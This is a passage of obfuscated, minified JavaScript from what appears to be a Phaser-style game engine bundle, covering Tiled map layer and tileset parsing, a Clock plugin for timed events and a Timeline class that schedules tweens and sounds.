_0x61934['ellipse'] = _0x59418b['ellipse'] : _0x59418b['text'] ? _0x61934['text'] = _0x59418b['text'] : _0x59418b['point'] ? _0x61934['point'] = !0x0 : _0x61934['rectangle'] = !0x0; return _0x61934; }; }, 0x5853: (_0x4a5f6e, _0x4d64d5, _0x322193) => { var _0x4768c3 = _0x322193(0x17534), _0x4dd9e9 = _0x322193(0xcbed), _0xfd370d = _0x322193(0xbe3c), _0x515df0 = _0x322193(0x1373d); _0x4a5f6e['exports'] = function (_0x3f49c0) { for (var _0x33ec9b = [], _0x16dd09 = [], _0x2d55f9 = _0x515df0(_0x3f49c0); _0x2d55f9['i'] < _0x2d55f9['layers']['length'] || _0x16dd09['length'] > 0x0;)if (_0x2d55f9['i'] >= _0x2d55f9['layers']['length']) { if (_0x16dd09['length'] < 0x1) break; _0x2d55f9 = _0x16dd09['pop'](); } else { var _0x513fbe = _0x2d55f9['layers'][_0x2d55f9['i']]; if (_0x2d55f9['i']++, _0x513fbe['opacity'] *= _0x2d55f9['opacity'], _0x513fbe['visible'] = _0x2d55f9['visible'] && _0x513fbe['visible'], 'objectgroup' === _0x513fbe['type']) { _0x513fbe['name'] = _0x2d55f9['name'] + _0x513fbe['name']; for (var _0x1a2730 = _0x2d55f9['x'] + _0x4768c3(_0x513fbe, 'startx', 0x0) + _0x4768c3(_0x513fbe, 'offsetx', 0x0), _0x39f917 = _0x2d55f9['y'] + _0x4768c3(_0x513fbe, 'starty', 0x0) + _0x4768c3(_0x513fbe, 'offsety', 0x0), _0x42ac8f = [], _0x410c53 = 0x0; _0x410c53 < _0x513fbe['objects']['length']; _0x410c53++) { var _0x1f68fc = _0x4dd9e9(_0x513fbe['objects'][_0x410c53], _0x1a2730, _0x39f917); _0x42ac8f['push'](_0x1f68fc); } var _0x3803e0 = new _0xfd370d(_0x513fbe); _0x3803e0['objects'] = _0x42ac8f, _0x33ec9b['push'](_0x3803e0); } else { if ('group' === _0x513fbe['type']) { var _0xb13756 = _0x515df0(_0x3f49c0, _0x513fbe, _0x2d55f9); _0x16dd09['push'](_0x2d55f9), _0x2d55f9 = _0xb13756; } } } return _0x33ec9b; }; }, 0x6e28: (_0xeffcae, _0x185fb9, _0x472c8d) => { var _0x47feda = _0x472c8d(0xa38c), _0x452661 = _0x472c8d(0x16703), _0x919f84 = _0x472c8d(0x1373d), _0x84bab4 = _0x472c8d(0x19f1), _0x1eaa34 = _0x472c8d(0x17534), _0x37dcad = _0x472c8d(0x3a81), _0x5530a4 = _0x472c8d(0x74e0), _0x56e76d = _0x472c8d(0x59f5); _0xeffcae['exports'] = function (_0x5207eb, _0x3df39d) { for (var _0x34a1a3 = _0x1eaa34(_0x5207eb, 'infinite', !0x1), _0x6e08f8 = [], _0x3ab3be = [], _0x37caa0 = _0x919f84(_0x5207eb); _0x37caa0['i'] < _0x37caa0['layers']['length'] || _0x3ab3be['length'] > 0x0;)if (_0x37caa0['i'] >= _0x37caa0['layers']['length']) { if (_0x3ab3be['length'] < 0x1) break; _0x37caa0 = _0x3ab3be['pop'](); } else { var _0x4c4449 = _0x37caa0['layers'][_0x37caa0['i']]; if (_0x37caa0['i']++, 'tilelayer' === _0x4c4449['type']) { if (!_0x4c4449['compression']) { if (_0x4c4449['encoding'] && 'base64' === _0x4c4449['encoding']) { if (_0x4c4449['chunks']) { for (var _0x11f18f = 0x0; _0x11f18f < _0x4c4449['chunks']['length']; _0x11f18f++)_0x4c4449['chunks'][_0x11f18f]['data'] = _0x47feda(_0x4c4449['chunks'][_0x11f18f]['data']); } _0x4c4449['data'] && (_0x4c4449['data'] = _0x47feda(_0x4c4449['data'])), delete _0x4c4449['encoding']; } var _0x4b0201, _0x174c65, _0x4ecafc, _0x1a3160, _0x203b11 = [], _0xb6d9f5 = 0x0; if (_0x34a1a3) { var _0x4a3da4 = _0x1eaa34(_0x4c4449, 'startx', 0x0) + _0x4c4449['x'], _0x4ba754 = _0x1eaa34(_0x4c4449, 'starty', 0x0) + _0x4c4449['y']; (_0x4b0201 = new _0x37dcad({ 'name': _0x37caa0['name'] + _0x4c4449['name'], 'id': _0x4c4449['id'], 'x': _0x37caa0['x'] + _0x1eaa34(_0x4c4449, 'offsetx', 0x0) + _0x4a3da4 * _0x5207eb['tilewidth'], 'y': _0x37caa0['y'] + _0x1eaa34(_0x4c4449, 'offsety', 0x0) + _0x4ba754 * _0x5207eb['tileheight'], 'width': _0x4c4449['width'], 'height': _0x4c4449['height'], 'tileWidth': _0x5207eb['tilewidth'], 'tileHeight': _0x5207eb['tileheight'], 'alpha': _0x37caa0['opacity'] * _0x4c4449['opacity'], 'visible': _0x37caa0['visible'] && _0x4c4449['visible'], 'properties': _0x1eaa34(_0x4c4449, 'properties', []), 'orientation': _0x84bab4(_0x5207eb['orientation']) }))['orientation'] === _0x452661['HEXAGONAL'] && (_0x4b0201['hexSideLength'] = _0x5207eb['hexsidelength'], _0x4b0201['staggerAxis'] = _0x5207eb['staggeraxis'], _0x4b0201['staggerIndex'] = _0x5207eb['staggerindex']); for (var _0x1bf579 = 0x0; _0x1bf579 < _0x4c4449['height']; _0x1bf579++) { _0x203b11[_0x1bf579] = [null]; for (var _0x195e35 = 0x0; _0x195e35 < _0x4c4449['width']; _0x195e35++)_0x203b11[_0x1bf579][_0x195e35] = null; } for (_0x1bf579 = 0x0, _0x32b3d0 = _0x4c4449['chunks']['length']; _0x1bf579 < _0x32b3d0; _0x1bf579++)for (var _0x24f3ff = _0x4c4449['chunks'][_0x1bf579], _0x1858f1 = _0x24f3ff['x'] - _0x4a3da4, _0x497e48 = _0x24f3ff['y'] - _0x4ba754, _0x509d68 = 0x0, _0x42cc0b = 0x0, _0x52c40e = _0x24f3ff['data']['length']; _0x42cc0b < _0x52c40e; _0x42cc0b++) { var _0x155b63 = _0xb6d9f5 + _0x1858f1, _0x99f52c = _0x509d68 + _0x497e48; (_0x174c65 = _0x5530a4(_0x24f3ff['data'][_0x42cc0b]))['gid'] > 0x0 ? ((_0x4ecafc = new _0x56e76d(_0x4b0201, _0x174c65['gid'], _0x155b63, _0x99f52c, _0x5207eb['tilewidth'], _0x5207eb['tileheight']))['rotation'] = _0x174c65['rotation'], _0x4ecafc['flipX'] = _0x174c65['flipped'], _0x203b11[_0x99f52c][_0x155b63] = _0x4ecafc) : (_0x1a3160 = _0x3df39d ? null : new _0x56e76d(_0x4b0201, -0x1, _0x155b63, _0x99f52c, _0x5207eb['tilewidth'], _0x5207eb['tileheight']), _0x203b11[_0x99f52c][_0x155b63] = _0x1a3160), ++_0xb6d9f5 === _0x24f3ff['width'] && (_0x509d68++, _0xb6d9f5 = 0x0); } } else { (_0x4b0201 = new _0x37dcad({ 'name': _0x37caa0['name'] + _0x4c4449['name'], 'id': _0x4c4449['id'], 'x': _0x37caa0['x'] + _0x1eaa34(_0x4c4449, 'offsetx', 0x0) + _0x4c4449['x'], 'y': _0x37caa0['y'] + _0x1eaa34(_0x4c4449, 'offsety', 0x0) + _0x4c4449['y'], 'width': _0x4c4449['width'], 'height': _0x4c4449['height'], 'tileWidth': _0x5207eb['tilewidth'], 'tileHeight': _0x5207eb['tileheight'], 'alpha': _0x37caa0['opacity'] * _0x4c4449['opacity'], 'visible': _0x37caa0['visible'] && _0x4c4449['visible'], 'properties': _0x1eaa34(_0x4c4449, 'properties', []), 'orientation': _0x84bab4(_0x5207eb['orientation']) }))['orientation'] === _0x452661['HEXAGONAL'] && (_0x4b0201['hexSideLength'] = _0x5207eb['hexsidelength'], _0x4b0201['staggerAxis'] = _0x5207eb['staggeraxis'], _0x4b0201['staggerIndex'] = _0x5207eb['staggerindex']); for (var _0x448d18 = [], _0x5ed52d = 0x0, _0x32b3d0 = _0x4c4449['data']['length']; _0x5ed52d < _0x32b3d0; _0x5ed52d++)(_0x174c65 = _0x5530a4(_0x4c4449['data'][_0x5ed52d]))['gid'] > 0x0 ? ((_0x4ecafc = new _0x56e76d(_0x4b0201, _0x174c65['gid'], _0xb6d9f5, _0x203b11['length'], _0x5207eb['tilewidth'], _0x5207eb['tileheight']))['rotation'] = _0x174c65['rotation'], _0x4ecafc['flipX'] = _0x174c65['flipped'], _0x448d18['push'](_0x4ecafc)) : (_0x1a3160 = _0x3df39d ? null : new _0x56e76d(_0x4b0201, -0x1, _0xb6d9f5, _0x203b11['length'], _0x5207eb['tilewidth'], _0x5207eb['tileheight']), _0x448d18['push'](_0x1a3160)), ++_0xb6d9f5 === _0x4c4449['width'] && (_0x203b11['push'](_0x448d18), _0xb6d9f5 = 0x0, _0x448d18 = []); } _0x4b0201['data'] = _0x203b11, _0x6e08f8['push'](_0x4b0201); } } else { if ('group' === _0x4c4449['type']) { var _0x164908 = _0x919f84(_0x5207eb, _0x4c4449, _0x37caa0); _0x3ab3be['push'](_0x37caa0), _0x37caa0 = _0x164908; } } } return _0x6e08f8; }; }, 0x602b: (_0xb28213, _0x5a009f, _0x538bff) => { var _0x2dc333 = _0x538bff(0x835d), _0x1ce827 = _0x538bff(0x4098), _0x4c6716 = _0x538bff(0xcbed), _0x3c2099 = _0x538bff(0xe218); _0xb28213['exports'] = function (_0x5049c1) { for (var _0x19d37b, _0x26f742 = [], _0x5b0fd5 = [], _0x494bfe = null, _0x21558f = 0x0; _0x21558f < _0x5049c1['tilesets']['length']; _0x21558f++) { var _0x1afbf8 = _0x5049c1['tilesets'][_0x21558f]; if (_0x1afbf8['source']); else { if (_0x1afbf8['image']) { var _0x8b683d = new _0x2dc333(_0x1afbf8['name'], _0x1afbf8['firstgid'], _0x1afbf8['tilewidth'], _0x1afbf8['tileheight'], _0x1afbf8['margin'], _0x1afbf8['spacing'], void 0x0, void 0x0, _0x1afbf8['tileoffset']); if (_0x5049c1['version'] > 0x1) { var _0x8595c4 = void 0x0, _0x53355e = void 0x0; if (Array['isArray'](_0x1afbf8['tiles'])) { _0x8595c4 = _0x8595c4 || {}, _0x53355e = _0x53355e || {}; for (var _0x340c2e = 0x0; _0x340c2e < _0x1afbf8['tiles']['length']; _0x340c2e++) { var _0x572e50 = _0x1afbf8['tiles'][_0x340c2e]; if (_0x572e50['properties']) { var _0x3d69c1 = {}; _0x572e50['properties']['forEach'](function (_0x56d785) { _0x3d69c1[_0x56d785['name']] = _0x56d785['value']; }), _0x53355e[_0x572e50['id']] = _0x3d69c1; } if (_0x572e50['objectgroup'] && ((_0x8595c4[_0x572e50['id']] || (_0x8595c4[_0x572e50['id']] = {}))['objectgroup'] = _0x572e50['objectgroup'], _0x572e50['objectgroup']['objects'])) { var _0x420698 = _0x572e50['objectgroup']['objects']['map'](function (_0x109fb7) { return _0x4c6716(_0x109fb7); }); _0x8595c4[_0x572e50['id']]['objectgroup']['objects'] = _0x420698; } _0x572e50['animation'] && ((_0x8595c4[_0x572e50['id']] || (_0x8595c4[_0x572e50['id']] = {}))['animation'] = _0x572e50['animation']), _0x572e50['type'] && ((_0x8595c4[_0x572e50['id']] || (_0x8595c4[_0x572e50['id']] = {}))['type'] = _0x572e50['type']); } } Array['isArray'](_0x1afbf8['wangsets']) && (_0x8595c4 = _0x8595c4 || {}, _0x53355e = _0x53355e || {}, _0x3c2099(_0x1afbf8['wangsets'], _0x8595c4)), _0x8595c4 && (_0x8b683d['tileData'] = _0x8595c4, _0x8b683d['tileProperties'] = _0x53355e); } else { if (_0x1afbf8['tileproperties'] && (_0x8b683d['tileProperties'] = _0x1afbf8['tileproperties']), _0x1afbf8['tiles']) for (_0x19d37b in (_0x8b683d['tileData'] = _0x1afbf8['tiles'], _0x8b683d['tileData'])) { var _0x1dadff = _0x8b683d['tileData'][_0x19d37b]['objectgroup']; if (_0x1dadff && _0x1dadff['objects']) { var _0x52ae31 = _0x1dadff['objects']['map'](function (_0x1b0682) { return _0x4c6716(_0x1b0682); }); _0x8b683d['tileData'][_0x19d37b]['objectgroup']['objects'] = _0x52ae31; } } } _0x8b683d['updateTileData'](_0x1afbf8['imagewidth'], _0x1afbf8['imageheight']), _0x26f742['push'](_0x8b683d); } else { var _0x24524f = new _0x1ce827(_0x1afbf8['name'], _0x1afbf8['firstgid'], _0x1afbf8['tilewidth'], _0x1afbf8['tileheight'], _0x1afbf8['margin'], _0x1afbf8['spacing'], _0x1afbf8['properties']), _0x2a29a4 = 0x0; for (_0x340c2e = 0x0; _0x340c2e < _0x1afbf8['tiles']['length']; _0x340c2e++) { var _0x591304 = (_0x572e50 = _0x1afbf8['tiles'][_0x340c2e])['image'], _0x46b768 = parseInt(_0x572e50['id'], 0xa), _0x393ea3 = _0x1afbf8['firstgid'] + _0x46b768; _0x24524f['addImage'](_0x393ea3, _0x591304), _0x2a29a4 = Math['max'](_0x46b768, _0x2a29a4); } _0x24524f['maxId'] = _0x2a29a4, _0x5b0fd5['push'](_0x24524f); } } _0x494bfe && (_0x494bfe['lastgid'] = _0x1afbf8['firstgid'] - 0x1), _0x494bfe = _0x1afbf8; } return { 'tilesets': _0x26f742, 'imageCollections': _0x5b0fd5 }; }; }, 0xe218: _0x253ca0 => { _0x253ca0['exports'] = function (_0x20fc2a, _0x5768d4) { for (var _0x4e0c01 = 0x0; _0x4e0c01 < _0x20fc2a['length']; _0x4e0c01++) { var _0x34385e = _0x20fc2a[_0x4e0c01], _0x538e54 = _0x4e0c01; if (_0x34385e['name'] && '' !== _0x34385e['name'] && (_0x538e54 = _0x34385e['name']), Array['isArray'](_0x34385e['wangtiles']) && _0x34385e['wangtiles']['length'] > 0x0) { var _0xd1b7f6, _0x1bf894, _0x187dfd, _0x32d0b = {}, _0x44a574 = {}; if (Array['isArray'](_0x34385e['edgecolors'])) { for (_0xd1b7f6 = 0x0; _0xd1b7f6 < _0x34385e['edgecolors']['length']; _0xd1b7f6++)_0x187dfd = 0x1 + _0xd1b7f6, '' !== (_0x1bf894 = _0x34385e['edgecolors'][_0xd1b7f6])['name'] && (_0x32d0b[_0x187dfd] = _0x1bf894['name']); } if (Array['isArray'](_0x34385e['cornercolors'])) { for (_0xd1b7f6 = 0x0; _0xd1b7f6 < _0x34385e['cornercolors']['length']; _0xd1b7f6++)_0x187dfd = 0x1 + _0xd1b7f6, '' !== (_0x1bf894 = _0x34385e['cornercolors'][_0xd1b7f6])['name'] && (_0x44a574[_0x187dfd] = _0x1bf894['name']); } if (Array['isArray'](_0x34385e['colors'])) { for (_0xd1b7f6 = 0x0; _0xd1b7f6 < _0x34385e['colors']['length']; _0xd1b7f6++)_0x187dfd = 0x1 + _0xd1b7f6, '' !== (_0x1bf894 = _0x34385e['colors'][_0xd1b7f6])['name'] && (_0x32d0b[_0x187dfd] = _0x44a574[_0x187dfd] = _0x1bf894['name']); } for (var _0x4a4577 = [_0x32d0b, _0x44a574, _0x32d0b, _0x44a574, _0x32d0b, _0x44a574, _0x32d0b, _0x44a574], _0x32c830 = 0x0; _0x32c830 < _0x34385e['wangtiles']['length']; _0x32c830++) { var _0x36dfef = _0x34385e['wangtiles'][_0x32c830], _0xeec946 = _0x5768d4[_0x36dfef['tileid']] || (_0x5768d4[_0x36dfef['tileid']] = {}); _0xeec946 = _0xeec946['wangid'] || (_0xeec946['wangid'] = {}); for (var _0x599630 = [], _0x584604 = 0x0; _0x584604 < Math['min'](_0x4a4577['length'], _0x36dfef['wangid']['length']); _0x584604++)if (0x0 !== (_0x1bf894 = _0x36dfef['wangid'][_0x584604])) { var _0x18b5b5 = _0x4a4577[_0x584604][_0x1bf894]; void 0x0 === _0x18b5b5 ? _0x599630['push'](_0x1bf894) : _0x599630['push'](_0x18b5b5); } else _0x599630['push'](void 0x0); _0xeec946[_0x538e54] = _0x599630; } } } }; }, 0x179f9: (_0x426db6, _0x579803, _0x1f6ff1) => { _0x426db6['exports'] = { 'AssignTileProperties': _0x1f6ff1(0xc821), 'Base64Decode': _0x1f6ff1(0xa38c), 'BuildTilesetIndex': _0x1f6ff1(0x14885), 'CreateGroupLayer': _0x1f6ff1(0x1373d), 'ParseGID': _0x1f6ff1(0x74e0), 'ParseImageLayers': _0x1f6ff1(0x315b), 'ParseJSONTiled': _0x1f6ff1(0xb602), 'ParseObject': _0x1f6ff1(0xcbed), 'ParseObjectLayers': _0x1f6ff1(0x5853), 'ParseTileLayers': _0x1f6ff1(0x6e28), 'ParseTilesets': _0x1f6ff1(0x602b) }; }, 0x8269: (_0x3deed4, _0x566709, _0x3755b2) => { var _0x588ec4 = _0x3755b2(0x145db), _0xc92842 = _0x3755b2(0x919d), _0x52ae13 = _0x3755b2(0xae32), _0x1ed835 = _0x3755b2(0x172a0), _0x5ecc1e = _0x3755b2(0x11cc9), _0x4b420a = new _0x588ec4({ 'initialize': function (_0x2a5b56) { this['scene'] = _0x2a5b56, this['systems'] = _0x2a5b56['sys'], this['now'] = 0x0, this['startTime'] = 0x0, this['timeScale'] = 0x1, this['paused'] = !0x1, this['_active'] = [], this['_pendingInsertion'] = [], this['_pendingRemoval'] = [], _0x2a5b56['sys']['events']['once'](_0x52ae13['BOOT'], this['boot'], this), _0x2a5b56['sys']['events']['on'](_0x52ae13['START'], this['start'], this); }, 'boot': function () { this['now'] = this['systems']['game']['loop']['time'], this['systems']['events']['once'](_0x52ae13['DESTROY'], this['destroy'], this); }, 'start': function () { this['startTime'] = this['systems']['game']['loop']['time']; var _0xa37b = this['systems']['events']; _0xa37b['on'](_0x52ae13['PRE_UPDATE'], this['preUpdate'], this), _0xa37b['on'](_0x52ae13['UPDATE'], this['update'], this), _0xa37b['once'](_0x52ae13['SHUTDOWN'], this['shutdown'], this); }, 'addEvent': function (_0x348f1c) { var _0x4ce0f8; return _0x348f1c instanceof _0x1ed835 ? (_0x4ce0f8 = _0x348f1c, this['removeEvent'](_0x4ce0f8), _0x4ce0f8['elapsed'] = _0x4ce0f8['startAt'], _0x4ce0f8['hasDispatched'] = !0x1, _0x4ce0f8['repeatCount'] = -0x1 === _0x4ce0f8['repeat'] || _0x4ce0f8['loop'] ? 0xe8d4a50fff : _0x4ce0f8['repeat']) : _0x4ce0f8 = new _0x1ed835(_0x348f1c), this['_pendingInsertion']['push'](_0x4ce0f8), _0x4ce0f8; }, 'delayedCall': function (_0x605bdb, _0x3e994b, _0x2b79bd, _0x1a764a) { return this['addEvent']({ 'delay': _0x605bdb, 'callback': _0x3e994b, 'args': _0x2b79bd, 'callbackScope': _0x1a764a }); }, 'clearPendingEvents': function () { return this['_pendingInsertion'] = [], this; }, 'removeEvent': function (_0x4ff6e2) { Array['isArray'](_0x4ff6e2) || (_0x4ff6e2 = [_0x4ff6e2]); for (var _0x3eabdc = 0x0; _0x3eabdc < _0x4ff6e2['length']; _0x3eabdc++) { var _0x19b15a = _0x4ff6e2[_0x3eabdc]; _0x5ecc1e(this['_pendingRemoval'], _0x19b15a), _0x5ecc1e(this['_pendingInsertion'], _0x19b15a), _0x5ecc1e(this['_active'], _0x19b15a); } return this; }, 'removeAllEvents': function () { return this['_pendingRemoval'] = this['_pendingRemoval']['concat'](this['_active']), this; }, 'preUpdate': function () { var _0x3dc28 = this['_pendingRemoval']['length'], _0x5aa8fa = this['_pendingInsertion']['length']; if (0x0 !== _0x3dc28 || 0x0 !== _0x5aa8fa) { var _0x3f88e2, _0xcc294d; for (_0x3f88e2 = 0x0; _0x3f88e2 < _0x3dc28; _0x3f88e2++) { _0xcc294d = this['_pendingRemoval'][_0x3f88e2]; var _0x18581e = this['_active']['indexOf'](_0xcc294d); _0x18581e > -0x1 && this['_active']['splice'](_0x18581e, 0x1), _0xcc294d['destroy'](); } for (_0x3f88e2 = 0x0; _0x3f88e2 < _0x5aa8fa; _0x3f88e2++)_0xcc294d = this['_pendingInsertion'][_0x3f88e2], this['_active']['push'](_0xcc294d); this['_pendingRemoval']['length'] = 0x0, this['_pendingInsertion']['length'] = 0x0; } }, 'update': function (_0x425770, _0x3f6cb0) { if (this['now'] = _0x425770, !this['paused']) { _0x3f6cb0 *= this['timeScale']; for (var _0x5edf74 = 0x0; _0x5edf74 < this['_active']['length']; _0x5edf74++) { var _0x14b017 = this['_active'][_0x5edf74]; if (!_0x14b017['paused'] && (_0x14b017['elapsed'] += _0x3f6cb0 * _0x14b017['timeScale'], _0x14b017['elapsed'] >= _0x14b017['delay'])) { var _0x208a0a = _0x14b017['elapsed'] - _0x14b017['delay']; if (_0x14b017['elapsed'] = _0x14b017['delay'], !_0x14b017['hasDispatched'] && _0x14b017['callback'] && (_0x14b017['hasDispatched'] = !0x0, _0x14b017['callback']['apply'](_0x14b017['callbackScope'], _0x14b017['args'])), _0x14b017['repeatCount'] > 0x0) { if (_0x14b017['repeatCount']--, _0x208a0a >= _0x14b017['delay']) { for (; _0x208a0a >= _0x14b017['delay'] && _0x14b017['repeatCount'] > 0x0;)_0x14b017['callback'] && _0x14b017['callback']['apply'](_0x14b017['callbackScope'], _0x14b017['args']), _0x208a0a -= _0x14b017['delay'], _0x14b017['repeatCount']--; } _0x14b017['elapsed'] = _0x208a0a, _0x14b017['hasDispatched'] = !0x1; } else _0x14b017['hasDispatched'] && this['_pendingRemoval']['push'](_0x14b017); } } } }, 'shutdown': function () { var _0x418a1a; for (_0x418a1a = 0x0; _0x418a1a < this['_pendingInsertion']['length']; _0x418a1a++)this['_pendingInsertion'][_0x418a1a]['destroy'](); for (_0x418a1a = 0x0; _0x418a1a < this['_active']['length']; _0x418a1a++)this['_active'][_0x418a1a]['destroy'](); for (_0x418a1a = 0x0; _0x418a1a < this['_pendingRemoval']['length']; _0x418a1a++)this['_pendingRemoval'][_0x418a1a]['destroy'](); this['_active']['length'] = 0x0, this['_pendingRemoval']['length'] = 0x0, this['_pendingInsertion']['length'] = 0x0; var _0x344bbb = this['systems']['events']; _0x344bbb['off'](_0x52ae13['PRE_UPDATE'], this['preUpdate'], this), _0x344bbb['off'](_0x52ae13['UPDATE'], this['update'], this), _0x344bbb['off'](_0x52ae13['SHUTDOWN'], this['shutdown'], this); }, 'destroy': function () { this['shutdown'](), this['scene']['sys']['events']['off'](_0x52ae13['START'], this['start'], this), this['scene'] = null, this['systems'] = null; } }); _0xc92842['register']('Clock', _0x4b420a, 'time'), _0x3deed4['exports'] = _0x4b420a; }, 0x17778: (_0x382846, _0xbe642e, _0x2c25cf) => { var _0x783126 = _0x2c25cf(0x145db), _0xdeb664 = _0x2c25cf(0xc668), _0x3b333d = _0x2c25cf(0x9a05), _0x3c4602 = _0x2c25cf(0x17534), _0x1aa6a6 = _0x2c25cf(0xae32), _0x455633 = _0x2c25cf(0x15ed1), _0x3c8dbb = new _0x783126({ 'Extends': _0xdeb664, 'initialize': function (_0x20688c, _0x6342bb) { _0xdeb664['call'](this), this['scene'] = _0x20688c, this['systems'] = _0x20688c['sys'], this['elapsed'] = 0x0, this['timeScale'] = 0x1, this['paused'] = !0x0, this['complete'] = !0x1, this['totalComplete'] = 0x0, this['loop'] = 0x0, this['iteration'] = 0x0, this['events'] = []; var _0x2e6c36 = this['systems']['events']; _0x2e6c36['on'](_0x1aa6a6['PRE_UPDATE'], this['preUpdate'], this), _0x2e6c36['on'](_0x1aa6a6['UPDATE'], this['update'], this), _0x2e6c36['once'](_0x1aa6a6['SHUTDOWN'], this['destroy'], this), _0x6342bb && this['add'](_0x6342bb); }, 'preUpdate': function (_0x4d8db3, _0x333719) { this['paused'] || (this['elapsed'] += _0x333719 * this['timeScale']); }, 'update': function () { if (!this['paused'] && !this['complete']) { var _0x558e79, _0x3604f6, _0x7a34fa = this['events'], _0x24eb92 = !0x1, _0x156943 = this['systems']; for (_0x558e79 = 0x0; _0x558e79 < _0x7a34fa['length']; _0x558e79++) { var _0x4a8373 = _0x7a34fa[_0x558e79]; if (!_0x4a8373['complete'] && _0x4a8373['time'] <= this['elapsed']) { if (_0x4a8373['complete'] = !0x0, this['totalComplete']++, _0x3604f6 = _0x4a8373['target'] ? _0x4a8373['target'] : this, _0x4a8373['if'] && !_0x4a8373['if']['call'](_0x3604f6, _0x4a8373)) continue; if (_0x4a8373['once'] && (_0x24eb92 = !0x0), _0x4a8373['set'] && _0x4a8373['target']) { for (var _0x20262c in _0x4a8373['set']) _0x4a8373['target'][_0x20262c] = _0x4a8373['set'][_0x20262c]; } this['iteration'] && _0x4a8373['repeat']++, _0x4a8373['loop'] && _0x4a8373['repeat'] && _0x4a8373['loop']['call'](_0x3604f6), _0x4a8373['tween'] && (_0x4a8373['tweenInstance'] = _0x156943['tweens']['add'](_0x4a8373['tween'])), _0x4a8373['sound'] && ('string' == typeof _0x4a8373['sound'] ? _0x156943['sound']['play'](_0x4a8373['sound']) : _0x156943['sound']['play'](_0x4a8373['sound']['key'], _0x4a8373['sound']['config'])), _0x4a8373['event'] && this['emit'](_0x4a8373['event'], _0x3604f6), _0x4a8373['run'] && _0x4a8373['run']['call'](_0x3604f6), _0x4a8373['stop'] && this['stop'](); } } if (_0x24eb92) { for (_0x558e79 = 0x0; _0x558e79 < _0x7a34fa['length']; _0x558e79++)_0x7a34fa[_0x558e79]['complete'] && _0x7a34fa[_0x558e79]['once'] && (_0x7a34fa['splice'](_0x558e79, 0x1), _0x558e79--); } this['totalComplete'] >= _0x7a34fa['length'] && (0x0 !== this['loop'] && (-0x1 === this['loop'] || this['loop'] > this['iteration']) ? (this['iteration']++, this['reset'](!0x0)) : this['complete'] = !0x0), this['complete'] && this['emit'](_0x455633['COMPLETE'], this); } }, 'play': function (_0x550cc4) { return void 0x0 === _0x550cc4 && (_0x550cc4 = !0x0), this['paused'] = !0x1, this['complete'] = !0x1, this['totalComplete'] = 0x0, _0x550cc4 && this['reset'](), this; }, 'pause': function () { this['paused'] = !0x0; for (var _0x3651d6 = this['events'], _0x46ee23 = 0x0; _0x46ee23 < _0x3651d6['length']; _0x46ee23++) { var _0x2b7668 = _0x3651d6[_0x46ee23]; _0x2b7668['tweenInstance'] && (_0x2b7668['tweenInstance']['paused'] = !0x0); } return this; }, 'repeat': function (_0x41bd50) { return void 0x0 !== _0x41bd50 && !0x0 !== _0x41bd50 || (_0x41bd50 = -0x1), !0x1 === _0x41bd50 && (_0x41bd50 = 0x0), this['loop'] = _0x41bd50, this; }, 'resume': function () { this['paused'] = !0x1; for (var _0x149078 = this['events'], _0x51d43a = 0x0; _0x51d43a < _0x149078['length']; _0x51d43a++) { var _0x55aeb0 = _0x149078[_0x51d43a]; _0x55aeb0['tweenInstance'] && (_0x55aeb0['tweenInstance']['paused'] = !0x1); } return this; }, 'stop': function () { return this['paused'] = !0x0, this['complete'] = !0x0, this; }, 'reset': function (_0x4f0707) { void 0x0 === _0x4f0707 && (_0x4f0707 = !0x1), this['elapsed'] = 0x0, _0x4f0707 || (this['iteration'] = 0x0); for (var _0x342365 = this['events'], _0x4665d5 = 0x0; _0x4665d5 < _0x342365['length']; _0x4665d5++) { var _0x445d73 = _0x342365[_0x4665d5]; _0x445d73['complete'] = !0x1, _0x4f0707 || (_0x445d73['repeat'] = 0x0), _0x445d73['tweenInstance'] && _0x445d73['tweenInstance']['stop'](); } return this['play'](!0x1); }, 'add': function (_0xbbee39) { Array['isArray'](_0xbbee39) || (_0xbbee39 = [_0xbbee39]); var _0x86fd51 = this['events'], _0x20b026 = 0x0; _0x86fd51['length'] > 0x0 && (_0x20b026 = _0x86fd51[_0x86fd51['length'] - 0x1]['time']); for (var _0xcb103b = 0x0; _0xcb103b < _0xbbee39['length']; _0xcb103b++) { var _0x5774b9 = _0xbbee39[_0xcb103b], _0x40cf65 = _0x3c4602(_0x5774b9, 'at', 0x0), _0x5493fa = _0x3c4602(_0x5774b9, 'in', null); null !== _0x5493fa && (_0x40cf65 = this['elapsed'] + _0x5493fa); var _0x260463 = _0x3c4602(_0x5774b9, 'from', null); null !== _0x260463 && (_0x40cf65 = _0x20b026 + _0x260463), _0x86fd51['push']({ 'complete': !0x1, 'time': _0x40cf65, 'repeat': 0x0, 'if': _0x3c4602(_0x5774b9, 'if', null), 'run': _0x3c4602(_0x5774b9, 'run', null), 'loop': _0x3c4602(_0x5774b9, 'loop', null), 'event': _0x3c4602(_0x5774b9, 'event', null), 'target': _0x3c4602(_0x5774b9, 'target', null), 'set': _0x3c4602(_0x5774b9, 'set', null), 'tween': _0x3c4602(_0x5774b9, 'tween', null), 'sound': _0x3c4602(_0x5774b9, 'sound', null), 'once': _0x3c4602(_0x5774b9, 'once', !0x1), 'stop': _0x3c4602(_0x5774b9, 'stop', !0x1) }), _0x20b026 = _0x40cf65; } return this['complete'] = !0x1, this; }, 'clear': function () { for (var _0x460a25 = this['events'], _0x51498e = 0x0; _0x51498e < _0x460a25['length']; _0x51498e++) { var _0xa855e8 = _0x460a25[_0x51498e]; _0xa855e8['tweenInstance'] && _0xa855e8['tweenInstance']['stop'](); } return _0x460a25 = [], this['elapsed'] = 0x0, this['paused'] = !0x0, this; }, 'isPlaying': function () { return !this['paused'] && !this['complete']; }, 'getProgress': function () { return Math['min'](this['totalComplete'], this['events']['length']) / this['events']['length']; }, 'destroy': function () { var _0x17ee38 = this['systems']['events']; _0x17ee38['off'](_0x1aa6a6['PRE_UPDATE'], this['preUpdate'], this), _0x17ee38['off'](_0x1aa6a6['UPDATE'], this['update'], this), _0x17ee38['off'](_0x1aa6a6['SHUTDOWN'], this['destroy'], this), this['clear'](), this['scene'] = null, this['systems'] = null; } }); _0x3b333d['register']('timeline', function (_0x6d4463) { return new _0x3c8dbb(this['scene'], _0x6d4463); }), _0x382846['exports'] = _0x3c8dbb; }, 0x172a0: (_0x444338, _0x261ec5, _0x3a3cfc) => { var _0x59a535 = _0x3a3cfc(0x145db), _0x5bc4c4 = _0x3a3cfc(0x17534), _0x5df702 = new _0x59a535({ 'initialize': function (_0x2ef809) { this['delay'] = 0x0, this['repeat'] = 0x0, this['repeatCount'] = 0x0, this['loop'] = !0x1, this['callback'], this['callbackScope'], this['args'], this['timeScale'] = 0x1, this['startAt'] = 